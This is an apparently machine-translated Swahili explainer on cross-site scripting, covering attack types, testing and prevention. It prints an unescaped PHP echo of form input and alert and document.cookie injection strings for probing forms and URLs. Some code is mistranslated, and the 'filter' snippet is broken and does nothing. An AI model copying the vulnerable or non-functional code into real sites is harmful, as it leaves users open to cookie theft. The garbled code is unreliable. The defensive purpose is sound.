Tafsiri kwa Kirusi ilifanywa na A888R, maandishi asilia katika Lugha ya Kiingereza: ziada-xss.com, tuma maoni, mapendekezo na makosa katika tafsiri hapa.

Kifungu cha \"Kulinda Tovuti\" kilichotolewa na Sophos Plc na SophosLabs.

Desemba 2007

Aina hii Shambulio hilo linalenga tovuti zinazoonyesha ingizo la mtumiaji. Badala ya kujaribu kupata udhibiti wa hifadhidata kwa kuingiza msimbo hasidi, mshambuliaji hujaribu kushambulia msimbo wa tovuti yenyewe kwa kuingiza sehemu hasidi ndani yake.

Tovuti nyingi huhifadhi majina ya wageni wote kwenye hifadhidata ili waweze kuonyeshwa wakati watumiaji wanaolingana wanapoingia. Mshambulizi anaweza kuunda akaunti bandia kwa kuweka msimbo hasidi katika sehemu ya jina. Mashambulizi kama haya kawaida hufanywa kwa kutumia maandishi hasidi Lugha ya Javascript, ambayo kisha kupakua maudhui kutoka tovuti nyingine. Database inapaswa kuhifadhi jina la mtumiaji, lakini kwa kweli katika kesi hii itakuwa msimbo mbaya. Ipasavyo, ikiwa tovuti itaonyesha jina la mtumiaji juu ya ukurasa, basi msimbo huu utatekelezwa. Kwa kuwa kanuni hiyo inaweza kufanya karibu chochote chini ya hali fulani, tishio huwa halisi sana; hata hivyo, watengenezaji mara nyingi husahau kuhusu hilo. Nyuma Hivi majuzi Tovuti nyingi maarufu zimekuwa waathirika wa mashambulizi ya XSS, ikiwa ni pamoja na MySpace, Facebook, Google Mail, Katika kuwasiliana na.

Kumbuka.

Fikiria nambari ifuatayo ya PHP:

$firstname = $_POST[\"jina la kwanza\"]; echo \"Jina lako: $firstname\";

Baada ya kuingiza jina lako katika fomu ya wavuti, tovuti inaonyesha ujumbe unaolingana kwenye ukurasa. Ikiwa utaingiza jina "Chris" katika fomu, ujumbe utaonekana kama hii: "Jina lako: Chris".

Ni nini hufanyika ikiwa badala ya jina utaingiza muundo ufuatao: "tahadhari ("Umedukuliwa!" ) ;" ?

Kwa bahati mbaya, mashambulizi ya XSS mara nyingi ni magumu kukabiliana nayo kwa sababu yanahitaji uchujaji sahihi wa data ya ingizo na matokeo, pamoja na sehemu zozote zinazoweza kubadilishwa na watumiaji. Hii ni pamoja na data iliyopatikana kutoka PATA maombi na POST, pamoja na maombi yaliyorejeshwa kutoka kwa hifadhidata.

PHP ina idadi ya vifurushi vinavyosaidia pato la kuchuja, kama vile CodeIgniter. PHP pia ina kitendakazi kilichojengewa ndani, htmlchar maalum, ambazo zinaweza kutumika kuchuja pato.

XSS (uandikaji wa tovuti tofauti) ni mojawapo ya aina za mashambulizi kwenye mifumo ya wavuti, ambayo inahusisha kuingiza msimbo hasidi kwenye ukurasa maalum wa tovuti na mwingiliano wa msimbo huu na seva ya mbali ya washambuliaji wakati mtumiaji anafungua ukurasa. .

Neno kwa Kiingereza linawakilisha Cross-Site Scripting, lakini wakati huo huo lilipokea ufupisho wa XSS ili kuepuka kuchanganyikiwa na CSS (Cascading Style Sheets).

Jinsi uandishi wa tovuti tofauti unavyofanya kazi

Lengo kuu la uandishi wa tovuti mbalimbali ni kuiba vidakuzi vya mtumiaji kwa kutumia hati iliyojengwa ndani ya seva na sampuli zaidi za data muhimu na kuitumia kwa mashambulizi na udukuzi unaofuata. Mshambulizi hashambulii watumiaji moja kwa moja, lakini hutumia udhaifu katika tovuti ambayo waathiriwa hutembelea na kuingiza JavaScript maalum. Katika kivinjari cha mtumiaji, msimbo huu unaonyeshwa kama sehemu moja ya tovuti. Katika kesi hii, rasilimali inayotembelewa kwa kweli ni mshirika wa shambulio la XSS.

Ikilinganishwa na sindano za SQL, XSS ni salama kwa seva, lakini inaleta tishio kwa watumiaji wa rasilimali iliyoambukizwa au ukurasa. Hata hivyo, mshambulizi akipata vidakuzi vya msimamizi, anaweza kupata ufikiaji wa paneli dhibiti ya tovuti na yaliyomo.

Mbinu ya kushambulia ya XSS

Kuendesha msimbo hasidi wa JavaScript kunawezekana tu katika kivinjari cha mwathiriwa, kwa hivyo tovuti ambayo mtumiaji anatembelea lazima iwe na athari ya XSS. Ili kutekeleza shambulio hilo, mshambulizi hukagua kwanza nyenzo ili kubaini udhaifu kupitia XSS, kwa kutumia hati otomatiki au kutafuta mwenyewe. Kawaida hii fomu za kawaida, ambayo inaweza kutuma na kupokea maombi (maoni, utafutaji, maoni).

Imeshikiliwa mkusanyiko kamili kurasa zilizo na fomu za ingizo, na kila moja inachanganuliwa ili kubaini udhaifu. Kwa mfano, tuna ukurasa wa "Tafuta" kwenye tovuti. Ili kuangalia udhaifu wa XSS, ingiza tu hoja ifuatayo:

Arifa ikitokea kwenye skrini yako, inamaanisha kuwa umegundua dosari ya usalama. Vinginevyo, mfumo utakuonyesha ukurasa wa matokeo ya utafutaji. CMS kuu maarufu kwa muda mrefu hazina matatizo hayo, lakini kutokana na uwezekano wa kupanua utendaji kupitia moduli na programu-jalizi zilizoundwa na watengenezaji wa tatu, nafasi za kutumia udhaifu wa XSS huongezeka kwa kiasi kikubwa, hasa katika Joomla, DLE, Bitrix, Wordpress. Mara nyingi udhaifu wa XSS huwekwa Kivinjari cha mtandao Mchunguzi.

Mwingine lahaja iwezekanavyo tafuta - kwa kutumia kurasa zinazochakata maombi ya GET. Hebu tuseme tuna kiungo kama: http://site.ru/catalog?p=8

Katika upau wa anwani, badala ya kitambulisho (8), tunaongeza hati - ">tahadhari("kuki: "+document.cookie), kwa sababu hiyo tunapata kiungo kama hiki: http://site.ru/ catalog?p= ">tahadhari(" kidakuzi: "+document.cookie) .

Ikiwa ukurasa una udhaifu wa XSS, arifa ya aina sawa na katika kesi ya kwanza itaonekana kwenye skrini.

Kuna idadi kubwa ya maandishi na maswali yaliyotengenezwa tayari kutafuta "mashimo" kwenye wavuti, na ikiwa hakuna hata mmoja wao anayefaa, basi rasilimali inalindwa kwa uaminifu kutokana na shambulio kama hilo.

Uainishaji wa jumla wa XSS

Hakuna uainishaji wazi wa uandishi wa tovuti tofauti, lakini wataalamu kote ulimwenguni wamegundua aina tatu kuu.

XSS iliyohifadhiwa (inayoendelea) . Moja ya wengi aina hatari udhaifu, kwa kuwa huruhusu mvamizi kupata ufikiaji wa seva na kudhibiti msimbo hasidi kutoka kwayo (ondoa, rekebisha). Kila wakati unapofikia tovuti, msimbo uliopakiwa awali unatekelezwa ambao hufanya kazi kiotomatiki. Mara nyingi, mabaraza, tovuti na blogu, ambapo kuna uwezo wa kutoa maoni katika HTML bila vikwazo, huathiriwa na udhaifu huo. Maandishi hasidi yanaweza kupachikwa kwa urahisi katika maandishi na katika picha na michoro.

XSS iliyoakisiwa (isiyo thabiti) . Katika hali hii, kamba hasidi hufanya kama ombi kutoka kwa mwathirika hadi kwa tovuti iliyoambukizwa. Kanuni hii inafanya kazi kulingana na mpango ufuatao:

Mshambulizi huunda kiungo cha URL mapema ambacho kitakuwa na msimbo hasidi na kuutuma kwa mwathiriwa wake.

Anapeleka ombi hili la URL kwenye tovuti (hufuata kiungo).

Tovuti huchukua data kiotomatiki kutoka kwa mfuatano hasidi na kuibadilisha katika mfumo wa jibu la URL lililorekebishwa kwa mwathiriwa.

Kwa hivyo, hati hasidi inatekelezwa kwenye kivinjari cha mwathiriwa, ambacho kimo kwenye majibu, na mshambuliaji hupokea vidakuzi vyote vya mtumiaji huyu.

Mifano ya DOM. Chaguo hili huruhusu matumizi ya XSS iliyohifadhiwa na iliyoakisiwa. Jambo la msingi ni hili:

Mshambulizi huunda URL iliyo na msimbo hasidi mapema na kuituma kupitia barua pepe au njia nyingine yoyote kwa mtumiaji.

Mtu anabofya kiungo hiki, tovuti iliyoambukizwa inakubali ombi, bila kujumuisha kamba mbaya.

Hati inatekelezwa kwenye ukurasa wa mtumiaji, kwa sababu hiyo hati hasidi hupakiwa na mshambulizi hupokea vidakuzi.

Aina za XSS kwa njia ya mwingiliano

Kwa kuwa lengo kuu la mshambuliaji ni kuendesha hati mbaya kwenye kompyuta ya mwathirika, pia kuna aina mbili kuu za mashambulizi ya XSS kulingana na njia ya mwingiliano.

Pasipo. Hatua mahususi inahitajika kutoka kwa mwathiriwa ili kuomba kidhibiti cha tukio na kuendesha hati hasidi kwa njia iliyokusudiwa. Kwa kusudi hili hutumiwa uhandisi wa kijamii, kama vile kutuma barua pepe kukuhimiza kufuata kiungo na kubofya eneo mahususi kwenye tovuti. Mara tu mtumiaji anapoelekeza kitu anachotaka na kubofya, hati mbaya itazinduliwa. Ikiwa mwathirika hafanyi kazi, msimbo hautaamilishwa.

Inayotumika. Mshambulizi haitaji kumvutia mwathiriwa kwa kutumia viungo maalum, kwani msimbo umepachikwa kwenye hifadhidata au nyinginezo. faili inayoweza kutekelezwa kwenye seva. Hakuna shughuli ya mtumiaji inahitajika. Fomu za kuingiza, kama sheria, huwa na kidhibiti maalum cha tukio kilichosakinishwa ambacho huwashwa kiotomatiki unapotua kwenye ukurasa huu. Kwa hivyo, watumiaji wote wanaofuata kiungo hiki watakuwa wahasiriwa wa mshambulizi.

Jinsi ya kuangalia tovuti yako kwa udhaifu wa XSS na kuilinda

Kwa kuangalia haraka tovuti kwa udhaifu wa XSS, unaweza kutumia huduma maalum, ambayo itachanganua ukurasa kiotomatiki. Ni muhimu kuangalia URL zote ambapo mtumiaji anaweza kuwasilisha data (fomu za maoni, maoni, utafutaji). Unaweza kutumia http://xss-scanner.com kama mfano, lakini hupaswi kujiwekea kikomo kwa zana moja tu.

Huduma kama hizo hazitoi dhamana kamili ya mafanikio, kwa hivyo tunapendekeza uangalie kurasa zilizopatikana hali ya mwongozo na hakikisha kuwatenga wahusika wote maalum hatari, ukibadilisha na salama. Ni kuhusu mabano< и >, ambamo maswali na lebo zote za html zilizohifadhiwa na lugha huandikwa.

Kwa mfano, kwa kuchuja haraka na uingizwaji wa moja kwa moja wahusika maalum< и >unaweza kutumia nambari ifuatayo kwenye wavuti:

$ kichujio = safu("");

$_GET["q"]=str_replace($filter, "|", $_GET["q"]).

Vidokezo vingine vya kuzuia XSS kwenye tovuti yako:

Ikiwa tovuti yako imewezeshwa ingizo la mtumiaji, usimbaji lazima ufanyike.

Ikiwa usimbaji hauwezekani au unafaa katika hali fulani, ibadilishe au uiongeze kwa uthibitishaji.

Usindikaji salama wa data lazima ufanyike kwa msimbo sio tu kwa upande wa seva yako ya wavuti, lakini pia kwa upande wa mtumiaji (mteja).

Ikiwa unatumia CMS maarufu, kwa mfano Wordpress, Bitrix, Joomla, sasisha mara kwa mara matoleo ya injini na yote. modules zilizowekwa na programu-jalizi. Kwa chaguo-msingi, mifumo mingi ya kawaida ya usimamizi wa tovuti inalindwa dhidi ya matumizi ya XSS, lakini programu-jalizi za wahusika wengine kutoka kwa vyanzo visivyothibitishwa vinaweza kuwa na udhaifu.